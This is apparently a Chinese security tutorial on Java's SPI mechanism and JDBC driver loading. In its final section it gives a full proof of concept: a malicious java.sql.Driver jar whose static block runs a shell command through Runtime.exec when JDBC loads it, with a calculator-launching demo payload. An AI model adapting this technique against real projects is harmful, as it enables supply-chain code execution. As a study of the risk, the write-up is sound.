目录
SPI定义
SPI核心方法和类
最简单的SPIdemo演示
回顾JCBC基本流程
为什么JDBC要有SPI
JDBC java.sql.Driver后门利用与验证
SPI定义
SPI: Service Provider Interface
官方定义: 直译过来是服务提供者接口,学名为服务发现机制
它通过在ClassPath路径下的META-INF/services文件夹中查找文件(以接口名为文件名,以实现类全限定名为文件内容的文件),并自动加载文件里所定义的类
1.SPI机制能够使接口与具体的实现类解耦,可以根据实际的业务情况启用或替换具体组件
2.SPI机制为很多框架的拓展提供了可能
3.SPI机制更多是一种思想
SPI核心方法和类
Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:
① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
load(Class<S> service):静态方法,用于加载实现了指定接口的服务提供者。
iterator():返回一个迭代器,用于遍历加载的服务提供者实例。
② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
hasNext():判断是否还有下一个元素。
next():返回下一个元素。
③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
AbstractProvider:用于创建服务提供者的抽象类。
ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。
④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。
最简单的SPIdemo演示
项目目录:
META-INF/services/com.spi.SpiService
com.spi.SPI_1
com.spi.SPI_2
SpiService
package com.spi;
public interface SpiService {
public void run();
}
SPI_1
package com.spi;
public class SPI_1 implements SpiService {
@Override
public void run() {
System.out.println("SPI_1 is running...");
}
}
SPI_2
package com.spi;
public class SPI_2 implements SpiService {
@Override
public void run() {
System.out.println("SPI_2 is running...");
}
}
SpiTest
package com.spi;
import java.util.ServiceLoader;
public class SpiTest {
public static void main(String[] args) {
ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);
for (SpiService spiService : serviceLoader) {
spiService.run();
}
}
}
运行演示
回顾JCBC基本流程
1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。
2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。
3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。
4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。
5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。
为什么JDBC要有SPI
以前我们使用JDBC访问Mysql数据库的时候,都会执行Class.forName("com.mysql.cj.jdbc.Driver"),这样就会实例化驱动类,同时也会执行驱动类中的static代码块中的DriverManager.registerDriver(new Driver()),将驱动类注册到Drivermanager中
但是将驱动类的全路径名称写到代码中,非常不方便。如果将类的全路径名写到配置文件中,虽然方便,但是还需要我们去记驱动类的全路径名
使用Java的SPI就可以解决这个问题。让Mysql驱动提供方同时提供驱动包和驱动配置文件,Java SPI通过类ClassLoader(通过getResource/getResources从指定位置读取classpath中的配置文件、可以加载类)自动从指定位置读取配置文件并进行驱动类的加载。这样就不用我们进行驱动类的加载了,而且Mysql驱动提供方能很方便的进行驱动的升级
JDBC java.sql.Driver后门利用与验证
数据库厂商提供的 JDBC 驱动程序通过在 JAR 包中的 META-INF/services/java.sql.Driver
文件中指定实现了 java.sql.Driver
接口的驱动程序类的方式来注册自己。JDBC 在启动时会使用 SPI 机制来动态加载这些驱动程序类,无需显式地调用 Class.forName
来加载驱动程序,从而实现了自动注册数据库驱动程序的功能。
这也为我们留下了后门,我们可以创建一个自己的恶意jar包传给JDBC,从而导致恶意类的加载,静态代码块的执行,开始复现!
先生成恶意的jar包
创建项目结构如下
META-INF/services/java.sql.Driver
evil.MySQLDriver
MySQLDriver.java
package evil;
import java.sql.*;
import java.util.*;
import java.util.logging.*;
public class MySQLDriver implements java.sql.Driver {
protected static boolean DEBUG = false;
protected static final String WindowsCmd = "calc";
protected static final String LinuxCmd = "open -a calculator";
protected static String shell;
protected static String args;
protected static String cmd;
static{
if(DEBUG){
Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");
}
if( System.getProperty("os.name").toLowerCase().contains("windows") ){
shell = "cmd.exe";
args = "/c";
cmd = WindowsCmd;
} else {
shell = "/bin/sh";
args = "-c";
cmd = LinuxCmd;
}
try{
Runtime.getRuntime().exec(new String[] {shell, args, cmd});
} catch(Exception ignored) {
}
}
// JDBC methods below
public boolean acceptsURL(String url){
if(DEBUG){
Logger.getGlobal().info("acceptsURL() called: "+url);
}
return false;
}
public Connection connect(String url, Properties info){
if(DEBUG){
Logger.getGlobal().info("connect() called: "+url);
}
return null;
}
public int getMajorVersion(){
if(DEBUG){
Logger.getGlobal().info("getMajorVersion() called");
}
return 1;
}
public int getMinorVersion(){
if(DEBUG){
Logger.getGlobal().info("getMajorVersion() called");
}
return 0;
}
public Logger getParentLogger(){
if(DEBUG){
Logger.getGlobal().info("getParentLogger() called");
}
return null;
}
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
if(DEBUG){
Logger.getGlobal().info("getPropertyInfo() called: "+url);
}
return new DriverPropertyInfo[0];
}
public boolean jdbcCompliant(){
if(DEBUG){
Logger.getGlobal().info("jdbcCompliant() called");
}
return true;
}
}
依次运行下列代码
javac src/evil/MySQLDriver.java
jar -cvf evil.jar -C src/ .
在项目目录得到evil.jar这个恶意jar包
然后在JDBC的项目中引入恶意jar包
package com.spi;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
public class Jdbc_Demo {
public static void main(String[] args) throws Exception {
// 注册驱动(可以删去)
// Class.forName("java.sql.Driver");
// 获取数据库连接对象
Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/security","root", "root");
// 定义sql语句
String sql = "select * from users";
// 获取执行sql的对象Statement
Statement stmt = con.createStatement();
// 执行sql
ResultSet res = stmt.executeQuery(sql);
// 处理对象
while(res.next()) {
System.out.println(res.getString("username"));
}
// 释放资源
res.close();
stmt.close();
con.close();
}
}
运行这段代码便可弹出计算器。
为了验证我们真的导入了恶意类作为jdbc的驱动,我们可以继续运行下面这段代码
package com.spi;
import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;
public class JdbcDriverList {
public static void main(String[] args) {
ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));
for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {
Driver driver = iterator.next();
System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());
}
}
}
结果如下,可见我们确实利用driver后门完成了一次偷梁换柱的利用